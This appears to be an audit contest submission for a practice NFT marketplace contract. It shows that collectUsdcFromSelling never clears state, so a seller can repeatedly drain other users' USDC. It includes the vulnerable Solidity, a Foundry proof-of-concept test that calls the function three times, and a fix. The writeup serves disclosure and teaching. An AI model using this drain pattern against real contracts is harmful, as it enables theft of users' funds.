NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

[C-1] collectUsdcFromSelling Never Clears State — Seller Can Drain the Contract

Author Revealed upon completion

Root + Impact

Description

  • After a successful sale, the seller is expected to call collectUsdcFromSelling once to receive the sale proceeds plus their minting collateral, while the protocol retains its fee.

  • collectUsdcFromSelling does not clear collateralForMinting[listing.tokenId] after paying the seller, and does not mark the listing as "collected". A seller can call the function repeatedly after their NFT is sold, draining the contract of all USDC held on behalf of other users.

  • Additionally, usdc.safeTransfer(address(this), fees) is a no-op (the contract transferring to itself), meaning fees are never separated from spendable funds, yet totalFeesCollected increments each call, eventually causing withdrawFees() to revert due to insufficient balance.

// src/NFTDealers.sol
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // never cleared
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees); // no-op: transfers to itself
@> usdc.safeTransfer(msg.sender, amountToSeller); // pays seller every call
}

Risk

Likelihood:

  • A sold listing is permanently inactive the guard require(!listing.isActive) is satisfied on every repeated call with no additional state check.

  • collateralForMinting has no "collected" flag, so nothing prevents re-entry across separate transactions.

Impact:

  • A malicious or opportunistic seller drains USDC belonging to other sellers and buyers who deposited collateral.

  • totalFeesCollected becomes inflated beyond the actual contract balance, permanently breaking withdrawFees().

Proof of Concept

The following test demonstrates a seller calling collectUsdcFromSelling three times on the same listing after the sale, draining the contract balance below the expected fees-only level.

function testDrainViaCollectUsdcFromSelling() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
​
// Seller mints and lists
mintAndListNFTForTesting(tokenId, nftPrice);
​
// Buyer purchases the NFT
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
​
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
​
// Seller calls collect once — legitimate
vm.startPrank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
// Seller calls collect again — drains more USDC
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
​
// Contract balance drained well below expected fees-only balance
assert(usdc.balanceOf(address(nftDealers)) < contractBalanceBefore);
}

Recommended Mitigation

Add a collected flag to the Listing struct and clear collateralForMinting after the first collection. Remove the self-transfer fees are already held in the contract and do not need to be moved.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool collected;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!s_listings[_listingId].collected, "Already collected");
+ s_listings[_listingId].collected = true;
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees); // remove: no-op
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!